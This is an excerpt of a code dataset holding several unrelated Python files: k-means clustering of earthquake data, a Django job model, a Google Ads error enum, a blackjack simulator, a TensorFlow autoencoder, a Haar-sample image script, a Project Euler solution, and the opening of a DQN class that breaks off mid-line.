\"\"\" clusters data based on nearest centroids\n\n will create a list of lists of indexes to data\n\n indexes...\n \\/\n [[7, 13, 15, 16], [0, 2, 3, 5, 8, 9, 11, 17, 19, 20], [1, 6, 10, 18], [4], [12, 14]]\n \"\"\"\n # initialize clusters\n # list of empty lists, size k\n # clusters will be a list of indexes! \n # not the actual data itself!\n clusters = initialize_empty_clusters(k)\n\n\n # for every data point / instance\n # create a list of distances\n # data [[], [], ...]\n # 0 1 N\n # so distances [[], [], ...]\n for data_index, data_point in enumerate(data):\n distances = calculate_distances(data_point, centroids)\n\n # get the min distance (closest)\n # the index of that distance will be the index of your closest centroid!\n min_distance = min(distances)\n cluster_index = distances.index(min_distance)\n #print('cluster_index', cluster_index)\n\n # add the index of the data to this cluster\n clusters[cluster_index].append(data_index)\n return clusters\n\nprint(create_clusters(5, [[90], [34], [76], [87], [78]], d))\n\ndef generate_new_centroids(clusters, data):\n\n new_centroids = []\n # for every cluster\n # for every point in cluster\n # for every component\n # add to sum\n # for every cluster\n # for every summed component\n # divide by num of features\n num_features = len(data[0])\n for cluster in clusters:\n # add all features for all points in this cluster\n feature_sums = [0] * num_features\n new_centroid = []\n for point_index in cluster:\n point = data[point_index]\n for feature_index, feature_value in enumerate(point):\n feature_sums[feature_index] += feature_value\n\n # now... try to divide by the number of points in this cluster\n # (ignore if 0)\n for feature_sum in feature_sums:\n try:\n new_centroid.append(feature_sum / len(cluster))\n except:\n pass\n new_centroids.append(new_centroid)\n return new_centroids\n\nprint('generating new centroids', generate_new_centroids([[7, 13, 15, 16], [0, 2, 3, 5, 8, 9, 11, 17, 19, 20], [1, 6, 10, 18], [4], [12, 14]], d))\n\n\ndef k_means(k, data, repeats):\n centroids = create_centroids(k, data)\n #centroids = [[90], [34], [76], [87], [78]]\n #centroids = [[90], [34], [76], [87], [78]]\n for rep in range(repeats):\n print(\"\\nPASS\", rep)\n clusters = create_clusters(k, centroids, data)\n for c in clusters:\n print(\"CLUSTER\")\n for key in c:\n print(data[key], end=' ')\n print()\n centroids = generate_new_centroids(clusters, data)\n return clusters\n\nk_means(5, d, 5)\n\n\n\nfrom mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt\n\nwith open('earthquakes.txt', 'r') as f:\n data = []\n for line in f:\n line_parts = line.split()\n lat, lon = float(line_parts[3]), float(line_parts[4])\n data.append([lat, lon])\n print(data)\n clusters = k_means(5, data, 1000)\n print(clusters)\n\n eq_map = Basemap(projection='robin', resolution = 'l', area_thresh = 1000.0,\n lat_0=0, lon_0=-130)\n eq_map.drawcoastlines()\n eq_map.drawcountries()\n eq_map.fillcontinents(color = 'gray')\n eq_map.drawmapboundary()\n \n colors = ['red', 'green', 'blue', 'yellow', 'orange']\n for cluster_num, cluster in enumerate(clusters):\n print('cluster', cluster)\n for i, data_index in enumerate(cluster):\n lat, lon = data[data_index]\n x,y = eq_map(lon, lat)\n eq_map.plot(x, y, marker='o', color=colors[cluster_num])\n \n plt.show()\n\n\n\n","sub_path":"p4a-class25/scratch/cluster3.py","file_name":"cluster3.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"592819347","text":"import datetime\nimport json\nimport math\n\nfrom django.db import models\nfrom django.contrib.auth import get_user_model\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\nUser=get_user_model()\nimport _datetime\nfrom django.utils.timezone import now\nfrom django.utils import timezone\nJOB_CATEGORIES=(\n ('IT - Software / Hardware / Networking','IT - Software / Hardware / Networking'),\n ('Business / Administration','Business / Administration'),\n ('Engineering','Engineering'),\n ('Marketing / Sales ','Marketing / Sales '),\n ('Medical / Healthcare','Medical / Healthcare'),\n ('Accounts / Finance','Accounts / Finance'),\n ('Education / Course / Language',\"Education / Course / Language\"),\n ('Other','Other')\n)\n\n\nPLACE=(\n (\"Kathmandu\",\"Kathmandu\"),\n (\"Pokhara\",\"Pokhara\"),\n (\"Lalitpur\",\"Lalitpur\"),\n (\"Bharatpur\",\"Bharatpur\"),\n (\"Biratnagar\",\"Biratnagar\"),\n (\"Janakpur\",\"Janakpur\"),\n (\"Ghorahi\",\"Ghorahi\"),\n (\"Hetauda\",\"Hetauda\"),\n (\"Dhangadhi\",\"Dhangadhi\"),\n (\"Tulsipur\",\"Tulsipur\"),\n (\"Itahari\",\"Itahari\"),\n (\"Nepalgunj\",\"Nepalgunj\"),\n (\"Butwal\",\"Butwal\"),\n (\"Dharan\",\"Dharan\"),\n (\"Kalaiya\",\"Kalaiya\"),\n (\"Jitpursimara\",\"Jitpursimara\"),\n (\"Other\",\"Other\")\n\n)\n\n\nPOSITION_TYPES=(\n (\"Entry Level\",\"Entry Level\"),\n (\"Intermediate\",\"Intermediate\"),\n (\"Expert\",\"Expert\")\n\n)\n\nJOB_TYPES=(\n ('Full Time','Full Time'),\n ('Part Time','Part Time'),\n (\"Contract\",\"Contract\")\n\n\n)\n\n# Create your models here.\nclass Jobs(models.Model):\n post_by=models.ForeignKey(User,on_delete=models.CASCADE,)\n company_name=models.CharField(max_length=255,blank=False,)\n location=models.CharField(max_length=255, choices=PLACE,)\n job_category=models.CharField(max_length=255, choices=JOB_CATEGORIES,blank=False,)\n position=models.CharField(max_length=255, blank=False,)\n experience=models.CharField(max_length=255,blank=False,)\n job_description=models.TextField(blank=False,)\n responsiblities=models.TextField(blank=False,)\n skill=models.TextField(blank=False,)\n education=models.CharField(max_length=255,blank=False,)\n what_we_offer=models.TextField(blank=True,)\n email=models.EmailField( blank=False,)\n post_date=models.DateField( default=_datetime.date.today, blank=False,editable=False)\n before_date=models.DateField(blank=False,)\n salary=models.CharField(max_length=255, blank=False,)\n position_type=models.CharField(max_length=255, choices=POSITION_TYPES,blank=False,)\n number_of_vacancy=models.CharField(max_length=255, blank=False,)\n job_type=models.CharField(max_length=255, choices=JOB_TYPES,blank=False,)\n days_left=models.IntegerField(null=True, blank=True)\n\n def save(self,*args, **kwargs):\n self.days_left=((self.before_date - self.post_date).days)\n if self.days_left>=0:\n super(Jobs, self).save(*args, **kwargs)\n else:\n return False\n\n def delete_automaically(self):\n # time=self.post_date+datetime.timedelta(days=self.days_left)\n time=self.post_date\n if time<= 0:\n e=Jobs.objects.get(pk=self.pk)\n # Jobs.objects.get(pk=self.pk).delete()\n e.delete()\n return True\n else:\n return False\n\n\n\n\n\n\n\n\n\n\n\n\nclass HitCount(models.Model):\n visits=models.IntegerField(default=0)\n\n\n\n","sub_path":"JobPortalMain/Jobs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"398284022","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import annotations\n\n\nimport proto # type: ignore\n\n\n__protobuf__ = proto.module(\n package=\"google.ads.googleads.v14.errors\",\n marshal=\"google.ads.googleads.v14\",\n manifest={\n \"CriterionErrorEnum\",\n },\n)\n\n\nclass CriterionErrorEnum(proto.Message):\n r\"\"\"Container for enum describing possible criterion errors.\"\"\"\n\n class CriterionError(proto.Enum):\n r\"\"\"Enum describing possible criterion errors.\"\"\"\n UNSPECIFIED = 0\n UNKNOWN = 1\n CONCRETE_TYPE_REQUIRED = 2\n INVALID_EXCLUDED_CATEGORY = 3\n INVALID_KEYWORD_TEXT = 4\n KEYWORD_TEXT_TOO_LONG = 5\n KEYWORD_HAS_TOO_MANY_WORDS = 6\n KEYWORD_HAS_INVALID_CHARS = 7\n INVALID_PLACEMENT_URL = 8\n INVALID_USER_LIST = 9\n INVALID_USER_INTEREST = 10\n INVALID_FORMAT_FOR_PLACEMENT_URL = 11\n PLACEMENT_URL_IS_TOO_LONG = 12\n PLACEMENT_URL_HAS_ILLEGAL_CHAR = 13\n PLACEMENT_URL_HAS_MULTIPLE_SITES_IN_LINE = 14\n PLACEMENT_IS_NOT_AVAILABLE_FOR_TARGETING_OR_EXCLUSION = 15\n INVALID_TOPIC_PATH = 16\n INVALID_YOUTUBE_CHANNEL_ID = 17\n INVALID_YOUTUBE_VIDEO_ID = 18\n YOUTUBE_VERTICAL_CHANNEL_DEPRECATED = 19\n YOUTUBE_DEMOGRAPHIC_CHANNEL_DEPRECATED = 20\n YOUTUBE_URL_UNSUPPORTED = 21\n CANNOT_EXCLUDE_CRITERIA_TYPE = 22\n CANNOT_ADD_CRITERIA_TYPE = 23\n CANNOT_EXCLUDE_SIMILAR_USER_LIST = 26\n CANNOT_ADD_CLOSED_USER_LIST = 27\n CANNOT_ADD_DISPLAY_ONLY_LISTS_TO_SEARCH_ONLY_CAMPAIGNS = 28\n CANNOT_ADD_DISPLAY_ONLY_LISTS_TO_SEARCH_CAMPAIGNS = 29\n CANNOT_ADD_DISPLAY_ONLY_LISTS_TO_SHOPPING_CAMPAIGNS = 30\n CANNOT_ADD_USER_INTERESTS_TO_SEARCH_CAMPAIGNS = 31\n CANNOT_SET_BIDS_ON_CRITERION_TYPE_IN_SEARCH_CAMPAIGNS = 32\n CANNOT_ADD_URLS_TO_CRITERION_TYPE_FOR_CAMPAIGN_TYPE = 33\n INVALID_COMBINED_AUDIENCE = 122\n INVALID_CUSTOM_AFFINITY = 96\n INVALID_CUSTOM_INTENT = 97\n INVALID_CUSTOM_AUDIENCE = 121\n INVALID_IP_ADDRESS = 34\n INVALID_IP_FORMAT = 35\n INVALID_MOBILE_APP = 36\n INVALID_MOBILE_APP_CATEGORY = 37\n INVALID_CRITERION_ID = 38\n CANNOT_TARGET_CRITERION = 39\n CANNOT_TARGET_OBSOLETE_CRITERION = 40\n CRITERION_ID_AND_TYPE_MISMATCH = 41\n INVALID_PROXIMITY_RADIUS = 42\n INVALID_PROXIMITY_RADIUS_UNITS = 43\n INVALID_STREETADDRESS_LENGTH = 44\n INVALID_CITYNAME_LENGTH = 45\n INVALID_REGIONCODE_LENGTH = 46\n INVALID_REGIONNAME_LENGTH = 47\n INVALID_POSTALCODE_LENGTH = 48\n INVALID_COUNTRY_CODE = 49\n INVALID_LATITUDE = 50\n INVALID_LONGITUDE = 51\n PROXIMITY_GEOPOINT_AND_ADDRESS_BOTH_CANNOT_BE_NULL = 52\n INVALID_PROXIMITY_ADDRESS = 53\n INVALID_USER_DOMAIN_NAME = 54\n CRITERION_PARAMETER_TOO_LONG = 55\n AD_SCHEDULE_TIME_INTERVALS_OVERLAP = 56\n AD_SCHEDULE_INTERVAL_CANNOT_SPAN_MULTIPLE_DAYS = 57\n AD_SCHEDULE_INVALID_TIME_INTERVAL = 58\n AD_SCHEDULE_EXCEEDED_INTERVALS_PER_DAY_LIMIT = 59\n AD_SCHEDULE_CRITERION_ID_MISMATCHING_FIELDS = 60\n CANNOT_BID_MODIFY_CRITERION_TYPE = 61\n CANNOT_BID_MODIFY_CRITERION_CAMPAIGN_OPTED_OUT = 62\n CANNOT_BID_MODIFY_NEGATIVE_CRITERION = 63\n BID_MODIFIER_ALREADY_EXISTS = 64\n FEED_ID_NOT_ALLOWED = 65\n ACCOUNT_INELIGIBLE_FOR_CRITERIA_TYPE = 66\n CRITERIA_TYPE_INVALID_FOR_BIDDING_STRATEGY = 67\n CANNOT_EXCLUDE_CRITERION = 68\n CANNOT_REMOVE_CRITERION = 69\n INVALID_PRODUCT_BIDDING_CATEGORY = 76\n MISSING_SHOPPING_SETTING = 77\n INVALID_MATCHING_FUNCTION = 78\n LOCATION_FILTER_NOT_ALLOWED = 79\n INVALID_FEED_FOR_LOCATION_FILTER = 98\n LOCATION_FILTER_INVALID = 80\n CANNOT_SET_GEO_TARGET_CONSTANTS_WITH_FEED_ITEM_SETS = 123\n CANNOT_SET_BOTH_ASSET_SET_AND_FEED = 140\n CANNOT_SET_FEED_OR_FEED_ITEM_SETS_FOR_CUSTOMER = 142\n CANNOT_SET_ASSET_SET_FIELD_FOR_CUSTOMER = 150\n CANNOT_SET_GEO_TARGET_CONSTANTS_WITH_ASSET_SETS = 143\n CANNOT_SET_ASSET_SETS_WITH_FEED_ITEM_SETS = 144\n INVALID_LOCATION_GROUP_ASSET_SET = 141\n INVALID_LOCATION_GROUP_RADIUS = 124\n INVALID_LOCATION_GROUP_RADIUS_UNIT = 125\n CANNOT_ATTACH_CRITERIA_AT_CAMPAIGN_AND_ADGROUP = 81\n HOTEL_LENGTH_OF_STAY_OVERLAPS_WITH_EXISTING_CRITERION = 82\n HOTEL_ADVANCE_BOOKING_WINDOW_OVERLAPS_WITH_EXISTING_CRITERION = 83\n FIELD_INCOMPATIBLE_WITH_NEGATIVE_TARGETING = 84\n INVALID_WEBPAGE_CONDITION = 85\n INVALID_WEBPAGE_CONDITION_URL = 86\n WEBPAGE_CONDITION_URL_CANNOT_BE_EMPTY = 87\n WEBPAGE_CONDITION_URL_UNSUPPORTED_PROTOCOL = 88\n WEBPAGE_CONDITION_URL_CANNOT_BE_IP_ADDRESS = 89\n WEBPAGE_CONDITION_URL_DOMAIN_NOT_CONSISTENT_WITH_CAMPAIGN_SETTING = 90\n WEBPAGE_CONDITION_URL_CANNOT_BE_PUBLIC_SUFFIX = 91\n WEBPAGE_CONDITION_URL_INVALID_PUBLIC_SUFFIX = 92\n WEBPAGE_CONDITION_URL_VALUE_TRACK_VALUE_NOT_SUPPORTED = 93\n WEBPAGE_CRITERION_URL_EQUALS_CAN_HAVE_ONLY_ONE_CONDITION = 94\n WEBPAGE_CRITERION_NOT_SUPPORTED_ON_NON_DSA_AD_GROUP = 95\n CANNOT_TARGET_USER_LIST_FOR_SMART_DISPLAY_CAMPAIGNS = 99\n CANNOT_TARGET_PLACEMENTS_FOR_SEARCH_CAMPAIGNS = 126\n LISTING_SCOPE_TOO_MANY_DIMENSION_TYPES = 100\n LISTING_SCOPE_TOO_MANY_IN_OPERATORS = 101\n LISTING_SCOPE_IN_OPERATOR_NOT_SUPPORTED = 102\n DUPLICATE_LISTING_DIMENSION_TYPE = 103\n DUPLICATE_LISTING_DIMENSION_VALUE = 104\n CANNOT_SET_BIDS_ON_LISTING_GROUP_SUBDIVISION = 105\n INVALID_LISTING_GROUP_HIERARCHY = 106\n LISTING_GROUP_UNIT_CANNOT_HAVE_CHILDREN = 107\n LISTING_GROUP_SUBDIVISION_REQUIRES_OTHERS_CASE = 108\n LISTING_GROUP_REQUIRES_SAME_DIMENSION_TYPE_AS_SIBLINGS = 109\n LISTING_GROUP_ALREADY_EXISTS = 110\n LISTING_GROUP_DOES_NOT_EXIST = 111\n LISTING_GROUP_CANNOT_BE_REMOVED = 112\n INVALID_LISTING_GROUP_TYPE = 113\n LISTING_GROUP_ADD_MAY_ONLY_USE_TEMP_ID = 114\n LISTING_SCOPE_TOO_LONG = 115\n LISTING_SCOPE_TOO_MANY_DIMENSIONS = 116\n LISTING_GROUP_TOO_LONG = 117\n LISTING_GROUP_TREE_TOO_DEEP = 118\n INVALID_LISTING_DIMENSION = 119\n INVALID_LISTING_DIMENSION_TYPE = 120\n ADVERTISER_NOT_ON_ALLOWLIST_FOR_COMBINED_AUDIENCE_ON_DISPLAY = 127\n CANNOT_TARGET_REMOVED_COMBINED_AUDIENCE = 128\n INVALID_COMBINED_AUDIENCE_ID = 129\n CANNOT_TARGET_REMOVED_CUSTOM_AUDIENCE = 130\n HOTEL_CHECK_IN_DATE_RANGE_OVERLAPS_WITH_EXISTING_CRITERION = 131\n HOTEL_CHECK_IN_DATE_RANGE_START_DATE_TOO_EARLY = 132\n HOTEL_CHECK_IN_DATE_RANGE_END_DATE_TOO_LATE = 133\n HOTEL_CHECK_IN_DATE_RANGE_REVERSED = 134\n BROAD_MATCH_MODIFIER_KEYWORD_NOT_ALLOWED = 135\n ONE_AUDIENCE_ALLOWED_PER_ASSET_GROUP = 136\n AUDIENCE_NOT_ELIGIBLE_FOR_CAMPAIGN_TYPE = 137\n AUDIENCE_NOT_ALLOWED_TO_ATTACH_WHEN_AUDIENCE_GROUPED_SET_TO_FALSE = 138\n CANNOT_TARGET_CUSTOMER_MATCH_USER_LIST = 139\n NEGATIVE_KEYWORD_SHARED_SET_DOES_NOT_EXIST = 145\n CANNOT_ADD_REMOVED_NEGATIVE_KEYWORD_SHARED_SET = 146\n CANNOT_HAVE_MULTIPLE_NEGATIVE_KEYWORD_LIST_PER_ACCOUNT = 147\n CUSTOMER_CANNOT_ADD_CRITERION_OF_THIS_TYPE = 149\n CANNOT_TARGET_SIMILAR_USER_LIST = 151\n CANNOT_ADD_AUDIENCE_SEGMENT_CRITERION_WHEN_AUDIENCE_GROUPED_IS_SET = 152\n ONE_AUDIENCE_ALLOWED_PER_AD_GROUP = 153\n INVALID_DETAILED_DEMOGRAPHIC = 154\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/ads/googleads/v14/errors/types/criterion_error.py","file_name":"criterion_error.py","file_ext":"py","file_size_in_byte":8187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"72390490","text":"import random\nclass Decks:\n\n #order = []\n #numDecks = 1\n #numCards = 52\n #ps = 0\n cardList = []\n \n def __init__(self,numDecks):\n self.numDecks = numDecks\n self.numCards = numDecks * 52\n self.order = [x for x in range(self.numCards)]\n self.shuffle()\n self.pos = 0\n for i in range(self.numDecks):\n for j in range(13):\n for k in range(4):\n self.cardList.append(j+1)\n \n def shuffle(self):\n random.shuffle(self.order)\n \n def draw(self):\n retValue = self.cardList[self.order[self.pos]]\n self.pos = self.pos+1\n return retValue\n\nclass BlackjackGame:\n results = []\n \n def simulate(self, ntimes):\n for x in range(ntimes):\n self.results.append(self.play())\n \n return self.results\n \n def play(self):\n d = Decks(6)\n hand = []\n hand.append(d.draw())\n \n score = [min(x,10) for x in hand]\n bust = 0\n while bust==0:\n hand.append(d.draw())\n score = sum([min(x,10) for x in hand])\n if 1 not in hand:\n if score > 21:\n bust = 1\n elif score > 16:\n return {'hand':hand,'res':bust}\n else:\n softScore = score + 10\n if score > 21:\n bust = 1\n elif score > 16 or (softScore <= 21 and softScore > 16):\n return {'hand':hand,'res':bust}\n \n return {'hand':hand, 'res':bust}","sub_path":"Blackjack.py","file_name":"Blackjack.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"15481712","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 3.0\n\nprint('setup stacked autoencoder stage1')\n\n#\n# setup parameters\n#\n\nkey1 = ['enconv', 'encode', 'decode', 'deconv']\n\n# extern stamp1,trainable1\nsd0 = 0.2\n\nweight1 = {\n 'enconv': tf.Variable(tf.truncated_normal([fs_1,fs_1,nf_RGB,nf_enconv1],stddev=sd0),trainable=trainable1,name='weight1.enconv'),\n 'encode': tf.Variable(tf.truncated_normal([fs_1,fs_1,nf_enconv1,nf_encode1],stddev=sd0),trainable=trainable1,name='weight1.encode'),\n 'decode': tf.Variable(tf.truncated_normal([fs_1,fs_1,nf_encode1,nf_enconv1],stddev=sd0),trainable=trainable1,name='weight1.decode'),\n 'deconv': tf.Variable(tf.truncated_normal([fs_1,fs_1,nf_enconv1,nf_RGB],stddev=sd0),trainable=trainable1,name='weight1.deconv'),\n}\nbias1 = {\n 'enconv': tf.Variable(tf.zeros([nf_enconv1]),trainable=trainable1, name='bias1.enconv'),\n 'encode': tf.Variable(tf.zeros([nf_encode1]),trainable=trainable1, name='bias1.encode'),\n 'decode': tf.Variable(tf.zeros([nf_enconv1]),trainable=trainable1, name='bias1.decode'),\n 'deconv': tf.Variable(tf.zeros([nf_RGB] ),trainable=trainable1, name='bias1.deconv'),\n}\n\nif(stamp1=='NA'):\n print('initialize w1 and b1 randomly. sd0 = ',sd0)\nelse:\n print('load w1 and b1 from',stamp1)\n tf_saver.restore(sess,'out1/cnncancer_pancreas_he-{}'.format(stap1))\n# if(stype==''):\n# file_w1 = 'weight1.{}.pkl'.format(stamp1)\n# file_b1 = 'bias1.{}.pkl'.format(stamp1)\n# else:\n# file_w1 = 'weight1.{}.{}.pkl'.format(stype,stamp1)\n# file_b1 = 'bias1.{}.{}.pkl'.format(stype,stamp1)\n\n# path_w1 = os.path.join(dir_out,file_w1)\n# path_b1 = os.path.join(dir_out,file_b1)\n\n# if(not os.path.exists(path_w1) or not os.path.exists(path_b1)):\n# myutil.getRemoteFile([file_w1,file_b1],dirname='Documents/cnncancer/out1')\n \n# weight1 = tensorflow_ae_base.load_tf_variable(path_w1,key1,trainable=trainable1)\n# bias1 = tensorflow_ae_base.load_tf_variable(path_b1,key1,trainable=trainable1)\n# #end if(stamp=='NA')\n\n#\n# setup layers\n#\n\ndef get_conv1(tf_input):\n tf_1 = tf.nn.conv2d(tf_input, weight1['enconv'], strides=[1, 1, 1, 1], padding='SAME')\n tf_2 = tf.nn.bias_add(tf_1, bias1['enconv'])\n tf_conv = tf.nn.relu(tf_2)\n return(tf_conv)\n\nseg12_12= tf.constant([0,1,2,3,4,5,6,7,8,9,10,11])\nseg6_12 = tf.constant([0,0,1,1,2,2,3,3,4,4,5,5])\nseg4_12 = tf.constant([0,0,0,1,1,1,2,2,2,3,3,3])\nseg3_12 = tf.constant([0,0,0,0,1,1,1,1,2,2,2,2])\nseg2_12 = tf.constant([0,0,0,0,0,0,1,1,1,1,1,1])\nseg1_12 = tf.constant([0,0,0,0,0,0,0,0,0,0,0,0])\n\nseg6_6 = tf.constant([0,1,2,3,4,5])\nseg3_6 = tf.constant([0,0,1,1,2,2])\nseg2_6 = tf.constant([0,0,0,1,1,1])\nseg1_6 = tf.constant([0,0,0,0,0,0])\n\nseg3_3 = tf.constant([0,1,2])\nseg1_3 = tf.constant([0,0,0])\n\n\ndef get_risa1(tf_conv):\n tf_1 = tf.square(tf_conv)\n tf_2 = tf.transpose(tf_1)\n tf_3 = tf.segmentf_sum(tf_2, seg1_3)\n tf_4 = tf.sqrt(tf_3)\n tf_risa = tf.reduce_mean(tf_4)\n return(tf_risa)\n\ndef get_encode1(tf_conv):\n tf_pool = max_pool(tf_conv, kk=pool_size)\n tf_drop = tf.nn.dropout(tf_pool, keep_prob_1)\n tf_encode = tf.nn.relu(conv2d(tf_drop, weight1['encode'], bias1['encode']))\n return(tf_encode)\n\ndef get_deconv1(tf_encode):\n tf_tmp = tf_encode\n ## tf_tmp = tf.nn.relu(conv2d(tf_encode, weight1['decode'], bias1['decode']))\n ## tf_tmp = un_pool(tf_tmp, kk=pool_size)\n ## tf_tmp = tf.nn.relu(conv2d(tf_tmp, weight1['deconv'], bias1['deconv']))\n tf_tmp = tf.nn.conv2d(tf_tmp, weight1['decode'], \n ## outputf_shape=[batch_size, ny//2, nx//2, nf_conv1], \n strides=[1, 1, 1, 1], padding='SAME')\n tf_tmp = tf.nn.bias_add(tf_encode, bias1['decode'])\n tf_tmp = tf.nn.relu(tf_tmp)\n\n tf_tmp = un_pool(tf_tmp, kk=pool_size)\n\n ##tf_tmp = tf.nn.conv2d_transpose(tf_tmp, weight1['enconv'], \n ## output_shape=[batch_size, ny, nx, nf_RGB],\n ## strides=[1, 1, 1, 1], padding='SAME')\n tf_tmp = tf.nn.conv2d(tf_tmp, weight1['deconv'], \n strides=[1, 1, 1, 1], padding='SAME')\n tf_tmp = tf.nn.bias_add(tf_tmp, bias1['deconv'])\n tf_tmp = tf.nn.relu(tf_tmp)\n return(tf_tmp)\n\n#\n# entropy function\n#\n\ndef get_local_entropy_encode1(tf_encode):\n tf_ooo = tf.reduce_sum(tf_encode, 3, keep_dims=True)\n tf_rrr = tf_encode / (tf.tile(tf_ooo,[1,1,1,nf_encode1])+1e-16)\n tf_tmp = tf.reduce_sum(tf_rrr * (-tf.log(tf_rrr+1e-16)),3)\n return(tf_tmp)\n\n#\n# save network parameters\n#\ndef save_stage1(dirname=dir_out, stype=''):\n weight1_fin = {k:sess.run(v) for k,v in weight1.items()}\n bias1_fin = {k:sess.run(v) for k,v, in bias1.items()}\n if(stype==''):\n myutil.saveObject(weight1_fin,'weight1.{}.pkl'.format(stamp),dirname=dirname)\n myutil.saveObject(bias1_fin,'bias1.{}.pkl'.format(stamp),dirname=dirname)\n else:\n myutil.saveObject(weight1_fin,'weight1.{}.{}.pkl'.format(stype,stamp),dirname=dirname)\n myutil.saveObject(bias1_fin,'bias1.{}.{}.pkl'.format(stype,stamp),dirname=dirname)\n return([weight1_fin,bias1_fin])\n\n\n","sub_path":"pancreas_net_encode1.py","file_name":"pancreas_net_encode1.py","file_ext":"py","file_size_in_byte":5163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"309971566","text":"# encoding: utf-8\r\n# Author: Late Lee\r\n# 2017.8.29\r\n# linux+python3\r\n#\r\n# haar训练正样本提取\r\n# 根据pos_image目录下的文件(注:未对后缀名做判断),生成pos_image.txt文件,\r\n# 该文件内容:文件名 1 0 0 宽 高\r\n\r\n\r\nimport os\r\nimport sys\r\n\r\nfrom PIL import Image \r\n \r\ndef write_img_res(image, f):\r\n \r\n img = Image.open(image) \r\n text = \"%s 1 0 0 %d %d\\n\" % (image, img.width, img.height)\r\n f.write(text) # write text to file\r\n img.close();\r\n\r\ndef generate_haar_posimage(dir, outfile):\r\n filesname=[]\r\n got_files(dir, filesname) \r\n f = open(outfile, \"w\")\r\n for file in filesname:\r\n print(\"processing %s\" % (file))\r\n write_img_res(file, f)\r\n\r\n f.close()\r\n print(\"saving to %s success!\" %(outfile));\r\n \r\ndef got_onlyfilename(path):\r\n #return path.split(\"/\")[-1]\r\n return os.path.basename(path)\r\n\r\n# 不要后缀名、不要目录\r\ndef got_onlyfilename_noext(path):\r\n f = os.path.basename(path)\r\n return f.split(\".\")[0]\r\n\r\ndef my_mkdir(dir):\r\n if not os.path.exists(dir):\r\n os.makedirs(dir)\r\n\r\ndef generate_haar_negimage(dir, outdir):\r\n filesname=[]\r\n got_files(dir, filesname)\r\n\r\n my_mkdir(outdir)\r\n width = 150\r\n height = 120\r\n x = 0\r\n y = 0\r\n x1 = x+width\r\n y1 = y+height\r\n i = 0\r\n for file in filesname:\r\n print(\"processing %s\" % (file))\r\n #write_img_res(file, f)\r\n img = Image.open(file)\r\n src_w = img.width\r\n src_h = img.height\r\n for h in range(0, src_h, height):\r\n #print(\"h: %d\" % (h))\r\n for w in range(0, src_w, width):\r\n #print(\"w: %d h: %d\" % (w, h))\r\n x = w\r\n y = h\r\n x1 = x+width\r\n y1 = y+height\r\n if (x1 < src_w and y1 < src_h):\r\n region = (x, y, x1, y1)\r\n cropImg = img.crop(region)\r\n f = got_onlyfilename_noext(file)\r\n outfile = \"%s/%s_%d.jpg\" % (outdir, f, i)\r\n i += 1\r\n #outfile = outdir + \"/\" + f + \"_.jpg\"\r\n #print(\"(%d, %d) (%d, %d)\" % (x, y, x1, y1))\r\n print(\"saving to file: %s\" % (outfile))\r\n cropImg.save(outfile)\r\n \r\n x = 0\r\n y = 0\r\n x1 = x+width\r\n y1 = y+height\r\n\r\ndef got_files(dir, outlist):\r\n list = os.listdir(dir)\r\n for file in list:\r\n filename = \"%s/%s\" % (dir, file) #os.path.join(dir, file)\r\n outlist.append(filename)\r\n\r\ndef init_python_env():\r\n if sys.version_info.major == 2:\r\n reload(sys)\r\n sys.setdefaultencoding('utf8')\r\n\r\n#### main\r\nif __name__ == '__main__':\r\n init_python_env()\r\n if (len(sys.argv) < 3):\r\n print(\"usage: %s \" % (sys.argv[0]))\r\n quit()\r\n #for arg in sys.argv: \r\n # print(arg) \r\n generate_haar_posimage(sys.argv[1], sys.argv[2])\r\n #generate_haar_negimage(\"src\", \"out\")\r\n","sub_path":"project/PIL-learning/haar-car-sample/haar-possample.py","file_name":"haar-possample.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"193432123","text":"# https://projecteuler.net/problem=53\nfrom math import factorial\nfrom time import time\nT = time()\n\n\ndef comb(n, r):\n return int(factorial(n)/(factorial(r)*factorial(n-r)))\n\ncount = 0\nfor i in range(23, 100+1):\n for j in range(1, i+1):\n num = comb(i, j)\n if num > 10**6:\n # print(i, j, num)\n count += 1\n\nprint(count)\nprint(\"time elapsed:\", time() - T)\n","sub_path":"053.py","file_name":"053.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"417731010","text":"import tensorflow as tf\nimport numpy as np\n\nfrom models import neural_network\nfrom utils.nn_util import replay_buffer\nfrom utils.tf_util import tf_op\n\nclass DQN():\n def __init__(self, sess, value_network, target_network, learning_rate,\n epsilon_init, epsilon_decay, epsilon_min, gamma, target_update_threshold):\n self.learning_rate = learning_rate\n self.epsilon = epsilon_init\n self.epsilon_decay = epsilon_decay\n self.epsilon_min = epsilon_min\n self.gamma = gamma\n self.sess = sess\n self.state_dim = value_network.input_dimension\n self.action_dim = value_network.output_dimension\n self.step = 0\n self.target_update_threshold = target_update_threshold\n\n self.value_network = value_network\n self.target_network = target_network\n\n self.__buil_network()\n\n def __buil_network(self):\n self.state = self.value_network.input_tensor\n self.action = tf.placeholder(tf.int32, [None, ], name='a') # input Action\n self.reward = tf.placeholder(tf.float32, [None, ], name='r') # input Reward\n self.next_state = self.target_network.input_tensor\n self.is_done = 